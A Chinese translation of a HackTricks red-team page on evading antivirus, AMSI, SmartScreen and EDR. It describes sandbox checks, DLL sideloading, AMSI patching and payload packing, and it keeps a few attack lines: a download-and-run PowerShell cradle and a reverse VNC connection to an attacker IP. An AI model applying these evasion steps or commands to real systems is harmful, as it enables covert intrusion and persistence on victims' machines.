Antivirus (AV) Bypass
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:
HackTricks 培训 GCP 红队专家 (GRTE)
本页面由 @m2rc_p撰写!
AV 规避方法论
目前,AV 使用不同的方法来检查文件是否恶意,包括静态检测、动态分析,以及对于更高级的 EDR,行为分析。
静态检测
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时还提取文件本身的信息(例如,文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
加密
如果你加密了二进制文件,AV 将无法检测到你的程序,但你需要某种加载程序来解密并在内存中运行程序。
混淆
有时你只需要更改二进制文件或脚本中的一些字符串就可以通过 AV,但这可能是一个耗时的任务,具体取决于你想混淆的内容。
自定义工具
如果你开发自己的工具,将不会有已知的恶意签名,但这需要大量的时间和精力。
检查 Windows Defender 静态检测的一个好方法是 ThreatCheck。它基本上将文件分成多个部分,然后让 Defender 分别扫描每个部分,这样可以准确告诉你在二进制文件中标记的字符串或字节。
我强烈建议你查看这个 YouTube 播放列表 关于实用的 AV 规避。
动态分析
动态分析是指 AV 在沙箱中运行你的二进制文件并监视恶意活动(例如,尝试解密并读取浏览器的密码,执行 LSASS 的小转储等)。这一部分可能更难处理,但这里有一些你可以做的事情来规避沙箱。
执行前休眠 根据实现方式,这可能是绕过 AV 动态分析的好方法。AV 扫描文件的时间非常短,以免打断用户的工作流程,因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多 AV 的沙箱可以根据实现方式跳过休眠。
检查机器资源 通常沙箱可用的资源非常少(例如,< 2GB RAM),否则它们可能会减慢用户的机器。你也可以在这里发挥创造力,例如检查 CPU 的温度或风扇速度,并不是所有内容都会在沙箱中实现。
特定机器检查 如果你想针对加入“contoso.local”域的用户的工作站,你可以检查计算机的域以查看是否与指定的域匹配,如果不匹配,你可以让程序退出。
事实证明,Microsoft Defender 的沙箱计算机名是 HAL9TH,因此,你可以在恶意软件引爆前检查计算机名,如果名称匹配 HAL9TH,则意味着你在 Defender 的沙箱中,因此可以让程序退出。
一些来自 @mgeeky 的非常好的建议,用于对抗沙箱
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-c3ffd5532ae0da0ffedc4c79f0c8967b43f95070%252Fimage%2520%28248%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=59e9621&sv=1)
正如我们在这篇文章中之前所说,公共工具最终会被 检测到,所以你应该问自己一个问题:
例如,如果你想转储 LSASS,你真的需要使用 mimikatz 吗?或者你可以使用一个不太知名的项目来转储 LSASS。
正确的答案可能是后者。以 mimikatz 为例,它可能是被 AV 和 EDR 标记的最多的恶意软件之一,尽管该项目本身非常酷,但在绕过 AV 时使用它也是一场噩梦,因此只需寻找替代方案来实现你的目标。
在修改你的有效载荷以进行规避时,请确保 关闭 Defender 的自动样本提交,并且请认真考虑,如果你的目标是长期规避,请不要上传到 VIRUSTOTAL。如果你想检查你的有效载荷是否被特定 AV 检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
EXEs 与 DLLs
每当可能时,总是 优先使用 DLL 进行规避,根据我的经验,DLL 文件通常 被检测和分析的概率更低,因此在某些情况下使用它是一种非常简单的技巧(当然前提是你的有效载荷有某种方式以 DLL 的形式运行)。
正如我们在这张图片中看到的,Havoc 的 DLL 有效载荷在 antiscan.me 上的检测率为 4/26,而 EXE 有效载荷的检测率为 7/26。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-c56912d64bb99887d253adbc5f4837f32d5b5358%252Fimage%2520%281130%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=aa0643&sv=1)
现在我们将展示一些你可以使用 DLL 文件的技巧,以便更加隐蔽。
DLL 侧载与代理
DLL 侧载 利用加载程序使用的 DLL 搜索顺序,通过将受害者应用程序和恶意有效载荷并排放置来实现。
你可以使用 Siofra 和以下 PowerShell 脚本检查易受 DLL 侧载影响的程序:
此命令将输出“C:\Program Files\”中易受DLL劫持的程序列表及其尝试加载的DLL文件。
我强烈建议您自己探索可被DLL劫持/侧载的程序,如果正确执行,这种技术相当隐蔽,但如果您使用公开已知的DLL侧载程序,可能会很容易被抓住。
仅仅放置一个恶意DLL,其名称是程序期望加载的,并不会加载您的有效载荷,因为程序期望该DLL中有一些特定的函数。为了解决这个问题,我们将使用另一种技术,称为DLL代理/转发。
DLL代理将程序从代理(和恶意)DLL发出的调用转发到原始DLL,从而保留程序的功能并能够处理您的有效载荷的执行。
我将使用@flangvik的SharpDLLProxy项目。
以下是我遵循的步骤:
最后一个命令将给我们两个文件:一个 DLL 源代码模板和重命名后的原始 DLL。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-2a32c50ebda190b61c2f7694cfec18a87c567a29%252Fsharpdllproxy.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=47747562&sv=1)
这些是结果:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-eef66fd210b5082c7b13c532582c66e4d878c7fe%252Fdll_sideloading_demo.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=36a2d0eb&sv=1)
我们的 shellcode(使用 SGN 编码)和代理 DLL 在 antiscan.me 上的检测率为 0/26!我会称之为成功。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-7eaceed4d02159f07fd4e0192c75b800014e8caf%252Fimage%2520%28193%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=da8b879e&sv=1)
我 强烈推荐 你观看 S3cur3Th1sSh1t 的 twitch VOD 关于 DLL 侧载,以及 ippsec 的视频 以更深入地了解我们讨论的内容。
Freeze 是一个用于通过挂起进程、直接系统调用和替代执行方法绕过 EDR 的有效载荷工具包
你可以使用 Freeze 以隐秘的方式加载和执行你的 shellcode。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-3e8443437b0d5f1783a1a9285475a0f69c044626%252Ffreeze_demo_hacktricks.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=c78a90f&sv=1)
规避只是猫和老鼠的游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能,尝试将多个规避技术结合起来。
AMSI(反恶意软件扫描接口)
AMSI的创建是为了防止“无文件恶意软件”。最初,AV只能扫描磁盘上的文件,因此如果你能够以某种方式直接在内存中执行有效载荷,AV就无法采取任何措施来阻止它,因为它没有足够的可见性。
AMSI功能集成在Windows的以下组件中。
用户帐户控制,或UAC(提升EXE、COM、MSI或ActiveX安装)
PowerShell(脚本、交互使用和动态代码评估)
Windows脚本宿主(wscript.exe和cscript.exe)
JavaScript和VBScript
Office VBA宏
它允许杀毒软件通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
运行 IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
将在Windows Defender上产生以下警报。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-786ef20956c55a77a750d45ac0e130d366959992%252Fimage%2520%281135%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=ab2d2588&sv=1)
注意它是如何在脚本运行的可执行文件路径前加上 amsi:
的,在这种情况下是powershell.exe。
我们没有将任何文件写入磁盘,但仍然因为AMSI在内存中被捕获。
有几种方法可以绕过AMSI:
混淆
由于AMSI主要依赖静态检测,因此修改你尝试加载的脚本可能是规避检测的好方法。
然而,AMSI有能力解混淆脚本,即使它有多层,因此混淆可能是一个糟糕的选择,具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你所需要做的只是更改几个变量名称,你就可以成功,因此这取决于某个内容被标记的程度。
AMSI绕过
由于AMSI是通过将DLL加载到powershell(也包括cscript.exe、wscript.exe等)进程中来实现的,因此即使以非特权用户身份运行,也可以轻松篡改它。由于AMSI实现中的这个缺陷,研究人员发现了多种规避AMSI扫描的方法。
强制错误
强制AMSI初始化失败(amsiInitFailed)将导致当前进程不会启动扫描。最初这是由Matt Graeber披露的,微软已经开发了一个签名以防止更广泛的使用。
只需一行 PowerShell 代码就可以使当前 PowerShell 进程无法使用 AMSI。 这行代码当然已经被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。
这是我从这个 Github Gist 中获取的修改版 AMSI 绕过。
请记住,这篇文章发布后可能会被标记,因此如果你的计划是保持隐蔽,就不应该发布任何代码。
内存补丁
该技术最初由 @RastaMouse 发现,涉及在 amsi.dll 中找到 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E_INVALIDARG 代码的指令覆盖它,这样,实际扫描的结果将返回 0,这被解释为干净的结果。
请阅读 https://rastamouse.me/memory-patching-amsi-bypass/ 以获取更详细的解释。
还有许多其他技术可以通过 PowerShell 绕过 AMSI,查看 此页面 和 此仓库 以了解更多信息。
或者这个脚本通过内存补丁将补丁应用于每个新的 PowerShell。
混淆
有几种工具可以用来 混淆 C# 明文代码,生成 元编程模板 以编译二进制文件或 混淆已编译的二进制文件,例如:
InvisibilityCloak: C# 混淆器
Obfuscator-LLVM: 该项目的目的是提供一个开源的 LLVM 编译套件分支,能够通过 代码混淆 和防篡改提供增强的软件安全性。
ADVobfuscator: ADVobfuscator 演示如何使用
C++11/14
语言在编译时生成混淆代码,而无需使用任何外部工具且不修改编译器。obfy: 添加一层由 C++ 模板元编程框架生成的混淆操作,这将使想要破解应用程序的人稍微困难一些。
Alcatraz: Alcatraz 是一个 x64 二进制混淆器,能够混淆各种不同的 pe 文件,包括:.exe, .dll, .sys
metame: Metame 是一个简单的变形代码引擎,适用于任意可执行文件。
ropfuscator: ROPfuscator 是一个细粒度的代码混淆框架,适用于使用 ROP(面向返回的编程)的 LLVM 支持语言。ROPfuscator 通过将常规指令转换为 ROP 链,在汇编代码级别混淆程序,阻碍我们对正常控制流的自然概念。
Nimcrypt: Nimcrypt 是一个用 Nim 编写的 .NET PE 加密器。
inceptor: Inceptor 能够将现有的 EXE/DLL 转换为 shellcode,然后加载它们。
SmartScreen 和 MoTW
你可能在从互联网下载某些可执行文件并执行它们时见过这个屏幕。
Microsoft Defender SmartScreen 是一种安全机制,旨在保护最终用户免受运行潜在恶意应用程序的影响。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-4f65b418e66ed58b8c663da76f5aff2b9839799c%252Fimage%2520%28664%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=7dd58c79&sv=1)
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen,从而警告并阻止最终用户执行该文件(尽管可以通过点击更多信息 -> 无论如何运行来执行该文件)。
MoTW(网络标记)是一个 NTFS 备用数据流,其名称为 Zone.Identifier,下载来自互联网的文件时会自动创建,并附带下载的 URL。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-7b5b04dd5d39db3b31c32faeb7155b8b72a48307%252Fimage%2520%28237%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=4d4bbf4b&sv=1)
重要的是要注意,使用 受信任 签名证书签名的可执行文件 不会触发 SmartScreen。
防止你的有效载荷获得网络标记的一个非常有效的方法是将它们打包在某种容器中,例如 ISO。这是因为网络标记(MOTW) 不能 应用于 非 NTFS 卷。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-9071ce02e7d3216f531acb1af765959057816e27%252Fimage%2520%28640%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=99c7b783&sv=1)
PackMyPayload 是一个将有效载荷打包到输出容器中的工具,以规避网络标记。
示例用法:
这里是一个演示,通过使用 PackMyPayload 将有效载荷打包在 ISO 文件中来绕过 SmartScreen。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-15c5bf41144d4828402399e03d67d13354b7d03c%252Fpackmypayload_demo.gif%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=913b1eb1&sv=1)
C# 程序集反射
在内存中加载 C# 二进制文件已经被知道了一段时间,这仍然是运行后渗透工具而不被 AV 捕获的非常好方法。
由于有效载荷将直接加载到内存中而不接触磁盘,我们只需担心在整个过程中修补 AMSI。
大多数 C2 框架(sliver、Covenant、metasploit、CobaltStrike、Havoc 等)已经提供了直接在内存中执行 C# 程序集的能力,但有不同的方法来做到这一点:
Fork&Run
这涉及到 生成一个新的牺牲进程,将你的后渗透恶意代码注入到那个新进程中,执行你的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和 run 方法的好处在于执行发生在我们的 Beacon 植入进程 之外。这意味着如果我们的后渗透操作出现问题或被捕获,我们的 植入物存活的机会更大。缺点是你被 行为检测 捕获的 机会更大。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-9a68acef67ec1d15c1f40a78a61c01aadcd646d3%252Fimage%2520%28215%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=21fe7752&sv=1)
Inline
这是将后渗透恶意代码 注入到其自身进程中。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效载荷执行出现问题,失去你的 beacon 的机会更大,因为它可能崩溃。
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F902778555-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FVXPBd5ePyq2S6WpIV6Cj%252Fuploads%252Fgit-blob-72a70e974f44f3f17e08886dee81080482f1c120%252Fimage%2520%281136%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=180939b8&sv=1)
如果你想了解更多关于 C# 程序集加载的信息,请查看这篇文章 https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ 和他们的 InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
你还可以 从 PowerShell 加载 C# 程序集,查看 Invoke-SharpLoader 和 S3cur3th1sSh1t 的视频。
使用其他编程语言
正如在 https://github.com/deeexcee-io/LOI-Bins 中提出的,可以通过让被攻陷的机器访问 攻击者控制的 SMB 共享上的解释器环境 来使用其他语言执行恶意代码。
通过允许访问 SMB 共享上的解释器二进制文件和环境,你可以 在被攻陷机器的内存中执行这些语言的任意代码。
该仓库指出:Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们有 更多的灵活性来绕过静态签名。使用这些语言中的随机未混淆反向 shell 脚本进行测试已证明成功。
高级规避
规避是一个非常复杂的话题,有时你必须考虑一个系统中许多不同的遥测来源,因此在成熟环境中完全不被检测几乎是不可能的。
你所面对的每个环境都有其自身的优缺点。
我强烈建议你观看 @ATTL4S 的这场演讲,以了解更多高级规避技术。
这也是 @mariuszbit 关于深度规避的另一场精彩演讲。
旧技术
检查 Defender 发现的恶意部分
你可以使用 ThreatCheck,它将 移除二进制文件的部分,直到 找出 Defender 发现的恶意部分并将其分离给你。 另一个做 同样事情的工具是 avred,它提供了一个开放的网络服务,地址为 https://avred.r00ted.ch/
Telnet 服务器
直到 Windows 10,所有 Windows 都附带一个 Telnet 服务器,你可以通过以下方式安装(作为管理员):
使其在系统启动时启动并立即运行:
更改telnet端口 (隐蔽) 并禁用防火墙:
UltraVNC
从这里下载: http://www.uvnc.com/downloads/ultravnc.html(你需要的是二进制下载,而不是安装程序)
在主机上: 执行 winvnc.exe 并配置服务器:
启用选项 Disable TrayIcon
在 VNC Password 中设置密码
在 View-Only Password 中设置密码
然后,将二进制文件 winvnc.exe 和 新创建的 文件 UltraVNC.ini 移动到 受害者 机器中
反向连接
攻击者应在其 主机 中执行二进制文件 vncviewer.exe -listen 5900
,以便 准备 捕获反向 VNC 连接。然后,在 受害者 机器中: 启动 winvnc 守护进程 winvnc.exe -run
并运行 winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
警告: 为了保持隐蔽性,你必须避免以下几件事
如果
winvnc
已经在运行,不要再次启动它,否则会触发一个 弹出窗口。使用tasklist | findstr winvnc
检查它是否在运行如果没有
UltraVNC.ini
在同一目录中,不要启动winvnc
,否则会导致 配置窗口 打开不要运行
winvnc -h
获取帮助,否则会触发一个 弹出窗口
GreatSCT
从这里下载: https://github.com/GreatSCT/GreatSCT
在 GreatSCT 内部:
现在 启动监听器 使用 msfconsole -r file.rc
并 执行 xml 负载 使用:
当前的防御者会非常快速地终止进程。
编译我们自己的反向 shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
第一个 C# 反向 shell
使用以下命令编译:
使用它与:
C# 使用编译器
自动下载和执行:
C# 混淆器列表: https://github.com/NotPrab/.NET-Obfuscator
C++
使用 Python 构建注入器示例:
其他工具
更多
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:
HackTricks 培训 GCP 红队专家 (GRTE)
Last updated